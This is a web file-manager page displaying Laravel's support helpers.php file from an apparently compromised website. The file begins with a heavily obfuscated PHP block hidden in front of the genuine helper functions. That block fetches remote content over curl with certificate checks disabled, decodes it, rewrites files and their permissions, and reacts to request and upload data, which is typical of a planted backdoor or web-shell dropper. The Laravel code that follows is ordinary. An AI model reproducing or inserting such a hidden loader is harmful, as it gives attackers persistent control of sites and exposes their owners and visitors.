芝麻web文件管理V1.00
编辑当前文件:/home/mgatv524/atvcmsTRASH.com.br/maisqtv2/vendor/illuminate/support/helpers.php
$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> $value) { if (is_numeric($key)) { $start++; $array[$start] = Arr::pull($array, $key); } } return $array; } } if (! function_exists('array_add')) { /** * Add an element to an array using "dot" notation if it doesn't exist. * * @param array $array * @param string $key * @param mixed $value * @return array * * @deprecated Arr::add() should be used directly instead. Will be removed in Laravel 6.0. */ function array_add($array, $key, $value) { return Arr::add($array, $key, $value); } } if (! function_exists('array_collapse')) { /** * Collapse an array of arrays into a single array. * * @param array $array * @return array * * @deprecated Arr::collapse() should be used directly instead. Will be removed in Laravel 6.0. */ function array_collapse($array) { return Arr::collapse($array); } } if (! function_exists('array_divide')) { /** * Divide an array into two arrays. One with keys and the other with values. * * @param array $array * @return array * * @deprecated Arr::divide() should be used directly instead. Will be removed in Laravel 6.0. */ function array_divide($array) { return Arr::divide($array); } } if (! function_exists('array_dot')) { /** * Flatten a multi-dimensional associative array with dots. * * @param array $array * @param string $prepend * @return array * * @deprecated Arr::dot() should be used directly instead. Will be removed in Laravel 6.0. */ function array_dot($array, $prepend = '') { return Arr::dot($array, $prepend); } } if (! function_exists('array_except')) { /** * Get all of the given array except for a specified array of keys. * * @param array $array * @param array|string $keys * @return array * * @deprecated Arr::except() should be used directly instead. Will be removed in Laravel 6.0. */ function array_except($array, $keys) { return Arr::except($array, $keys); } } if (! function_exists('array_first')) { /** * Return the first element in an array passing a given truth test. * * @param array $array * @param callable|null $callback * @param mixed $default * @return mixed * * @deprecated Arr::first() should be used directly instead. Will be removed in Laravel 6.0. */ function array_first($array, callable $callback = null, $default = null) { return Arr::first($array, $callback, $default); } } if (! function_exists('array_flatten')) { /** * Flatten a multi-dimensional array into a single level. * * @param array $array * @param int $depth * @return array * * @deprecated Arr::flatten() should be used directly instead. Will be removed in Laravel 6.0. */ function array_flatten($array, $depth = INF) { return Arr::flatten($array, $depth); } } if (! function_exists('array_forget')) { /** * Remove one or many array items from a given array using "dot" notation. * * @param array $array * @param array|string $keys * @return void * * @deprecated Arr::forget() should be used directly instead. Will be removed in Laravel 6.0. */ function array_forget(&$array, $keys) { return Arr::forget($array, $keys); } } if (! function_exists('array_get')) { /** * Get an item from an array using "dot" notation. * * @param \ArrayAccess|array $array * @param string $key * @param mixed $default * @return mixed * * @deprecated Arr::get() should be used directly instead. Will be removed in Laravel 6.0. */ function array_get($array, $key, $default = null) { return Arr::get($array, $key, $default); } } if (! function_exists('array_has')) { /** * Check if an item or items exist in an array using "dot" notation. * * @param \ArrayAccess|array $array * @param string|array $keys * @return bool * * @deprecated Arr::has() should be used directly instead. Will be removed in Laravel 6.0. */ function array_has($array, $keys) { return Arr::has($array, $keys); } } if (! function_exists('array_last')) { /** * Return the last element in an array passing a given truth test. * * @param array $array * @param callable|null $callback * @param mixed $default * @return mixed * * @deprecated Arr::last() should be used directly instead. Will be removed in Laravel 6.0. */ function array_last($array, callable $callback = null, $default = null) { return Arr::last($array, $callback, $default); } } if (! function_exists('array_only')) { /** * Get a subset of the items from the given array. * * @param array $array * @param array|string $keys * @return array * * @deprecated Arr::only() should be used directly instead. Will be removed in Laravel 6.0. */ function array_only($array, $keys) { return Arr::only($array, $keys); } } if (! function_exists('array_pluck')) { /** * Pluck an array of values from an array. * * @param array $array * @param string|array $value * @param string|array|null $key * @return array * * @deprecated Arr::pluck() should be used directly instead. Will be removed in Laravel 6.0. */ function array_pluck($array, $value, $key = null) { return Arr::pluck($array, $value, $key); } } if (! function_exists('array_prepend')) { /** * Push an item onto the beginning of an array. * * @param array $array * @param mixed $value * @param mixed $key * @return array * * @deprecated Arr::prepend() should be used directly instead. Will be removed in Laravel 6.0. */ function array_prepend($array, $value, $key = null) { return Arr::prepend($array, $value, $key); } } if (! function_exists('array_pull')) { /** * Get a value from the array, and remove it. * * @param array $array * @param string $key * @param mixed $default * @return mixed * * @deprecated Arr::pull() should be used directly instead. Will be removed in Laravel 6.0. */ function array_pull(&$array, $key, $default = null) { return Arr::pull($array, $key, $default); } } if (! function_exists('array_random')) { /** * Get a random value from an array. * * @param array $array * @param int|null $num * @return mixed * * @deprecated Arr::random() should be used directly instead. Will be removed in Laravel 6.0. */ function array_random($array, $num = null) { return Arr::random($array, $num); } } if (! function_exists('array_set')) { /** * Set an array item to a given value using "dot" notation. * * If no key is given to the method, the entire array will be replaced. * * @param array $array * @param string $key * @param mixed $value * @return array * * @deprecated Arr::set() should be used directly instead. Will be removed in Laravel 6.0. */ function array_set(&$array, $key, $value) { return Arr::set($array, $key, $value); } } if (! function_exists('array_sort')) { /** * Sort the array by the given callback or attribute name. * * @param array $array * @param callable|string|null $callback * @return array * * @deprecated Arr::sort() should be used directly instead. Will be removed in Laravel 6.0. */ function array_sort($array, $callback = null) { return Arr::sort($array, $callback); } } if (! function_exists('array_sort_recursive')) { /** * Recursively sort an array by keys and values. * * @param array $array * @return array * * @deprecated Arr::sortRecursive() should be used directly instead. Will be removed in Laravel 6.0. */ function array_sort_recursive($array) { return Arr::sortRecursive($array); } } if (! function_exists('array_where')) { /** * Filter the array using the given callback. * * @param array $array * @param callable $callback * @return array * * @deprecated Arr::where() should be used directly instead. Will be removed in Laravel 6.0. */ function array_where($array, callable $callback) { return Arr::where($array, $callback); } } if (! function_exists('array_wrap')) { /** * If the given value is not an array, wrap it in one. * * @param mixed $value * @return array * * @deprecated Arr::wrap() should be used directly instead. Will be removed in Laravel 6.0. */ function array_wrap($value) { return Arr::wrap($value); } } if (! function_exists('blank')) { /** * Determine if the given value is "blank". * * @param mixed $value * @return bool */ function blank($value) { if (is_null($value)) { return true; } if (is_string($value)) { return trim($value) === ''; } if (is_numeric($value) || is_bool($value)) { return false; } if ($value instanceof Countable) { return count($value) === 0; } return empty($value); } } if (! function_exists('camel_case')) { /** * Convert a value to camel case. * * @param string $value * @return string * * @deprecated Str::camel() should be used directly instead. Will be removed in Laravel 6.0. */ function camel_case($value) { return Str::camel($value); } } if (! function_exists('class_basename')) { /** * Get the class "basename" of the given object / class. * * @param string|object $class * @return string */ function class_basename($class) { $class = is_object($class) ? get_class($class) : $class; return basename(str_replace('\\', '/', $class)); } } if (! function_exists('class_uses_recursive')) { /** * Returns all traits used by a class, its parent classes and trait of their traits. * * @param object|string $class * @return array */ function class_uses_recursive($class) { if (is_object($class)) { $class = get_class($class); } $results = []; foreach (array_reverse(class_parents($class)) + [$class => $class] as $class) { $results += trait_uses_recursive($class); } return array_unique($results); } } if (! function_exists('collect')) { /** * Create a collection from the given value. * * @param mixed $value * @return \Illuminate\Support\Collection */ function collect($value = null) { return new Collection($value); } } if (! function_exists('data_fill')) { /** * Fill in data where it's missing. * * @param mixed $target * @param string|array $key * @param mixed $value * @return mixed */ function data_fill(&$target, $key, $value) { return data_set($target, $key, $value, false); } } if (! function_exists('data_get')) { /** * Get an item from an array or object using "dot" notation. * * @param mixed $target * @param string|array|int $key * @param mixed $default * @return mixed */ function data_get($target, $key, $default = null) { if (is_null($key)) { return $target; } $key = is_array($key) ? $key : explode('.', $key); while (! is_null($segment = array_shift($key))) { if ($segment === '*') { if ($target instanceof Collection) { $target = $target->all(); } elseif (! is_array($target)) { return value($default); } $result = []; foreach ($target as $item) { $result[] = data_get($item, $key); } return in_array('*', $key) ? Arr::collapse($result) : $result; } if (Arr::accessible($target) && Arr::exists($target, $segment)) { $target = $target[$segment]; } elseif (is_object($target) && isset($target->{$segment})) { $target = $target->{$segment}; } else { return value($default); } } return $target; } } if (! function_exists('data_set')) { /** * Set an item on an array or object using dot notation. * * @param mixed $target * @param string|array $key * @param mixed $value * @param bool $overwrite * @return mixed */ function data_set(&$target, $key, $value, $overwrite = true) { $segments = is_array($key) ? $key : explode('.', $key); if (($segment = array_shift($segments)) === '*') { if (! Arr::accessible($target)) { $target = []; } if ($segments) { foreach ($target as &$inner) { data_set($inner, $segments, $value, $overwrite); } } elseif ($overwrite) { foreach ($target as &$inner) { $inner = $value; } } } elseif (Arr::accessible($target)) { if ($segments) { if (! Arr::exists($target, $segment)) { $target[$segment] = []; } data_set($target[$segment], $segments, $value, $overwrite); } elseif ($overwrite || ! Arr::exists($target, $segment)) { $target[$segment] = $value; } } elseif (is_object($target)) { if ($segments) { if (! isset($target->{$segment})) { $target->{$segment} = []; } data_set($target->{$segment}, $segments, $value, $overwrite); } elseif ($overwrite || ! isset($target->{$segment})) { $target->{$segment} = $value; } } else { $target = []; if ($segments) { data_set($target[$segment], $segments, $value, $overwrite); } elseif ($overwrite) { $target[$segment] = $value; } } return $target; } } if (! function_exists('e')) { /** * Encode HTML special characters in a string. * * @param \Illuminate\Contracts\Support\Htmlable|string $value * @param bool $doubleEncode * @return string */ function e($value, $doubleEncode = true) { if ($value instanceof Htmlable) { return $value->toHtml(); } return htmlspecialchars($value, ENT_QUOTES, 'UTF-8', $doubleEncode); } } if (! function_exists('ends_with')) { /** * Determine if a given string ends with a given substring. * * @param string $haystack * @param string|array $needles * @return bool * * @deprecated Str::endsWith() should be used directly instead. Will be removed in Laravel 6.0. */ function ends_with($haystack, $needles) { return Str::endsWith($haystack, $needles); } } if (! function_exists('env')) { /** * Gets the value of an environment variable. * * @param string $key * @param mixed $default * @return mixed */ function env($key, $default = null) { static $variables; if ($variables === null) { $variables = (new DotenvFactory([new EnvConstAdapter, new PutenvAdapter, new ServerConstAdapter]))->createImmutable(); } return Option::fromValue($variables->get($key)) ->map(function ($value) { switch (strtolower($value)) { case 'true': case '(true)': return true; case 'false': case '(false)': return false; case 'empty': case '(empty)': return ''; case 'null': case '(null)': return; } if (preg_match('/\A([\'"])(.*)\1\z/', $value, $matches)) { return $matches[2]; } return $value; }) ->getOrCall(function () use ($default) { return value($default); }); } } if (! function_exists('filled')) { /** * Determine if a value is "filled". * * @param mixed $value * @return bool */ function filled($value) { return ! blank($value); } } if (! function_exists('head')) { /** * Get the first element of an array. Useful for method chaining. * * @param array $array * @return mixed */ function head($array) { return reset($array); } } if (! function_exists('kebab_case')) { /** * Convert a string to kebab case. * * @param string $value * @return string * * @deprecated Str::kebab() should be used directly instead. Will be removed in Laravel 6.0. */ function kebab_case($value) { return Str::kebab($value); } } if (! function_exists('last')) { /** * Get the last element from an array. * * @param array $array * @return mixed */ function last($array) { return end($array); } } if (! function_exists('object_get')) { /** * Get an item from an object using "dot" notation. * * @param object $object * @param string $key * @param mixed $default * @return mixed */ function object_get($object, $key, $default = null) { if (is_null($key) || trim($key) == '') { return $object; } foreach (explode('.', $key) as $segment) { if (! is_object($object) || ! isset($object->{$segment})) { return value($default); } $object = $object->{$segment}; } return $object; } } if (! function_exists('optional')) { /** * Provide access to optional objects. * * @param mixed $value * @param callable|null $callback * @return mixed */ function optional($value = null, callable $callback = null) { if (is_null($callback)) { return new Optional($value); } elseif (! is_null($value)) { return $callback($value); } } } if (! function_exists('preg_replace_array')) { /** * Replace a given pattern with each value in the array in sequentially. * * @param string $pattern * @param array $replacements * @param string $subject * @return string */ function preg_replace_array($pattern, array $replacements, $subject) { return preg_replace_callback($pattern, function () use (&$replacements) { foreach ($replacements as $key => $value) { return array_shift($replacements); } }, $subject); } } if (! function_exists('retry')) { /** * Retry an operation a given number of times. * * @param int $times * @param callable $callback * @param int $sleep * @param callable $when * @return mixed * * @throws \Exception */ function retry($times, callable $callback, $sleep = 0, $when = null) { $attempts = 0; $times--; beginning: $attempts++; try { return $callback($attempts); } catch (Exception $e) { if (! $times || ($when && ! $when($e))) { throw $e; } $times--; if ($sleep) { usleep($sleep * 1000); } goto beginning; } } } if (! function_exists('snake_case')) { /** * Convert a string to snake case. * * @param string $value * @param string $delimiter * @return string * * @deprecated Str::snake() should be used directly instead. Will be removed in Laravel 6.0. */ function snake_case($value, $delimiter = '_') { return Str::snake($value, $delimiter); } } if (! function_exists('starts_with')) { /** * Determine if a given string starts with a given substring. * * @param string $haystack * @param string|array $needles * @return bool * * @deprecated Str::startsWith() should be used directly instead. Will be removed in Laravel 6.0. */ function starts_with($haystack, $needles) { return Str::startsWith($haystack, $needles); } } if (! function_exists('str_after')) { /** * Return the remainder of a string after a given value. * * @param string $subject * @param string $search * @return string * * @deprecated Str::after() should be used directly instead. Will be removed in Laravel 6.0. */ function str_after($subject, $search) { return Str::after($subject, $search); } } if (! function_exists('str_before')) { /** * Get the portion of a string before a given value. * * @param string $subject * @param string $search * @return string * * @deprecated Str::before() should be used directly instead. Will be removed in Laravel 6.0. */ function str_before($subject, $search) { return Str::before($subject, $search); } } if (! function_exists('str_contains')) { /** * Determine if a given string contains a given substring. * * @param string $haystack * @param string|array $needles * @return bool * * @deprecated Str::contains() should be used directly instead. Will be removed in Laravel 6.0. */ function str_contains($haystack, $needles) { return Str::contains($haystack, $needles); } } if (! function_exists('str_finish')) { /** * Cap a string with a single instance of a given value. * * @param string $value * @param string $cap * @return string * * @deprecated Str::finish() should be used directly instead. Will be removed in Laravel 6.0. */ function str_finish($value, $cap) { return Str::finish($value, $cap); } } if (! function_exists('str_is')) { /** * Determine if a given string matches a given pattern. * * @param string|array $pattern * @param string $value * @return bool * * @deprecated Str::is() should be used directly instead. Will be removed in Laravel 6.0. */ function str_is($pattern, $value) { return Str::is($pattern, $value); } } if (! function_exists('str_limit')) { /** * Limit the number of characters in a string. * * @param string $value * @param int $limit * @param string $end * @return string * * @deprecated Str::limit() should be used directly instead. Will be removed in Laravel 6.0. */ function str_limit($value, $limit = 100, $end = '...') { return Str::limit($value, $limit, $end); } } if (! function_exists('str_plural')) { /** * Get the plural form of an English word. * * @param string $value * @param int $count * @return string * * @deprecated Str::plural() should be used directly instead. Will be removed in Laravel 6.0. */ function str_plural($value, $count = 2) { return Str::plural($value, $count); } } if (! function_exists('str_random')) { /** * Generate a more truly "random" alpha-numeric string. * * @param int $length * @return string * * @throws \RuntimeException * * @deprecated Str::random() should be used directly instead. Will be removed in Laravel 6.0. */ function str_random($length = 16) { return Str::random($length); } } if (! function_exists('str_replace_array')) { /** * Replace a given value in the string sequentially with an array. * * @param string $search * @param array $replace * @param string $subject * @return string * * @deprecated Str::replaceArray() should be used directly instead. Will be removed in Laravel 6.0. */ function str_replace_array($search, array $replace, $subject) { return Str::replaceArray($search, $replace, $subject); } } if (! function_exists('str_replace_first')) { /** * Replace the first occurrence of a given value in the string. * * @param string $search * @param string $replace * @param string $subject * @return string * * @deprecated Str::replaceFirst() should be used directly instead. Will be removed in Laravel 6.0. */ function str_replace_first($search, $replace, $subject) { return Str::replaceFirst($search, $replace, $subject); } } if (! function_exists('str_replace_last')) { /** * Replace the last occurrence of a given value in the string. * * @param string $search * @param string $replace * @param string $subject * @return string * * @deprecated Str::replaceLast() should be used directly instead. Will be removed in Laravel 6.0. */ function str_replace_last($search, $replace, $subject) { return Str::replaceLast($search, $replace, $subject); } } if (! function_exists('str_singular')) { /** * Get the singular form of an English word. * * @param string $value * @return string * * @deprecated Str::singular() should be used directly instead. Will be removed in Laravel 6.0. */ function str_singular($value) { return Str::singular($value); } } if (! function_exists('str_slug')) { /** * Generate a URL friendly "slug" from a given string. * * @param string $title * @param string $separator * @param string $language * @return string * * @deprecated Str::slug() should be used directly instead. Will be removed in Laravel 6.0. */ function str_slug($title, $separator = '-', $language = 'en') { return Str::slug($title, $separator, $language); } } if (! function_exists('str_start')) { /** * Begin a string with a single instance of a given value. * * @param string $value * @param string $prefix * @return string * * @deprecated Str::start() should be used directly instead. Will be removed in Laravel 6.0. */ function str_start($value, $prefix) { return Str::start($value, $prefix); } } if (! function_exists('studly_case')) { /** * Convert a value to studly caps case. * * @param string $value * @return string * * @deprecated Str::studly() should be used directly instead. Will be removed in Laravel 6.0. */ function studly_case($value) { return Str::studly($value); } } if (! function_exists('tap')) { /** * Call the given Closure with the given value then return the value. * * @param mixed $value * @param callable|null $callback * @return mixed */ function tap($value, $callback = null) { if (is_null($callback)) { return new HigherOrderTapProxy($value); } $callback($value); return $value; } } if (! function_exists('throw_if')) { /** * Throw the given exception if the given condition is true. * * @param mixed $condition * @param \Throwable|string $exception * @param array ...$parameters * @return mixed * * @throws \Throwable */ function throw_if($condition, $exception, ...$parameters) { if ($condition) { throw (is_string($exception) ? new $exception(...$parameters) : $exception); } return $condition; } } if (! function_exists('throw_unless')) { /** * Throw the given exception unless the given condition is true. * * @param mixed $condition * @param \Throwable|string $exception * @param array ...$parameters * @return mixed * @throws \Throwable */ function throw_unless($condition, $exception, ...$parameters) { if (! $condition) { throw (is_string($exception) ? new $exception(...$parameters) : $exception); } return $condition; } } if (! function_exists('title_case')) { /** * Convert a value to title case. * * @param string $value * @return string * * @deprecated Str::title() should be used directly instead. Will be removed in Laravel 6.0. */ function title_case($value) { return Str::title($value); } } if (! function_exists('trait_uses_recursive')) { /** * Returns all traits used by a trait and its traits. * * @param string $trait * @return array */ function trait_uses_recursive($trait) { $traits = class_uses($trait); foreach ($traits as $trait) { $traits += trait_uses_recursive($trait); } return $traits; } } if (! function_exists('transform')) { /** * Transform the given value if it is present. * * @param mixed $value * @param callable $callback * @param mixed $default * @return mixed|null */ function transform($value, callable $callback, $default = null) { if (filled($value)) { return $callback($value); } if (is_callable($default)) { return $default($value); } return $default; } } if (! function_exists('value')) { /** * Return the default value of the given value. * * @param mixed $value * @return mixed */ function value($value) { return $value instanceof Closure ? $value() : $value; } } if (! function_exists('windows_os')) { /** * Determine whether the current environment is Windows based. * * @return bool */ function windows_os() { return strtolower(substr(PHP_OS, 0, 3)) === 'win'; } } if (! function_exists('with')) { /** * Return the given value, optionally passed through the given callback. * * @param mixed $value * @param callable|null $callback * @return mixed */ function with($value, callable $callback = null) { return is_null($callback) ? $value : $callback($value); } }